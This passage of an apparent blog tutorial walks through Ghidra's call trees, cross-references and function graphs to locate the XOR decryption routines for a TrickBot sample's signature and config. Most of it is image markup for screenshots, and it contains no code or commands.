src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png" width="640" height="466" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:466,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2_PolGJAxg-PDI5zzLsa404cTJXWLLUy2XPSixq8Cw9j-cq4sSULobo7pYDxm2ujr2xo6K4K6_3DW1bAgVXJ9GkJMm3bNDMTN1Zr0xZ4Gfwkj0zXfoi9lWGwHjpAAWncow4lyreG1ZaI/s640/xor_mem.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br><br>(Btw, as we can see in the image, when you select with the mouse a line in the disassembly window, the equivalent line is highlighted in the decompiled window).<br><br></p><h3>Using references to find more interesting parts of the code</h3><p><br>Once you have located an interesting point in the code, you can show a tree of calls to that point:<br><br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png" width="640" height="212" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:212,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOId10GpT1p_H1NwKMMUiGao4fzQ0vWoZEqH9fjEAzFVNd2XTlj98Q1QOt8D3w-XiWGL6vSM0kseN41NgslS2QHOCNIQoIiFW_VOpoVGxotauMERGJA7Meo0C_3iROoFGZ_BI4NfI97cQ/s640/ghidra_codebrowser_showcallstree.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br><br>The tree makes easy to follow the incoming or outgoing references to the interesting function:<br><br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png" width="640" height="210" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:210,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhirvzWWCiCAVGO41HsCxjz2LWOHGjkngL28Ia_YHjHyrNKY_u12MPDwG8F9OqjlbSuvQwljfUEyNjmV6MqdA6gRHt6kn-K0hgrvlvx6zsllvoSq-0alDuxFI7Mh93NTnG2VjU4KaDVILU/s640/refs.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br><br>Additionally, you could highlight (select) back or forward refs to an address in the disassembly and decompiled windows.<br><br></p><h3>TrickBot ECS signature and Config Xor Decryptor</h3><p><br>By using the call trees, we can find easily the functions that decrypts the XOR layer of the elliptic curve signature or the XOR layer of the TrickBot Config:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png" width="640" height="388" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:388,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLUlDti33dGjlMZ6OtFTjwXsutJfppuyTWTTvirAydP0-wwK5RAsRAHEOIzDcpEQwokSmtGe8OonUN9VTHBfr9M6Gg6aGqvXPZgBFgpznHytb5UrrHpELp0h6WYq8ajrNdZmdZy4muzSQ/s640/ecs_config.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br>In addition, you can open a function graph window, similar to IDA graphs. Here is the XOR decryptor loop of TrickBot:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png" width="640" height="520" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:520,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7qAgh9Wg6bvQ0I2hFU29c0AUPIcKTILJf4dG6hqeUdm6wXNcEL1oynZiAgMpyS8rIgzwWd6ZGN-uTYGjmuPNyYNbdGttrZJ9NWKGg9SCv1y-Hn9xnHZaa1AA6-jHtH12BeesAYrXeltA/s640/funcgraph.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br>You can move easily on the graph, and zoom in/out with the mouse wheel:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png" width="560" height="640" 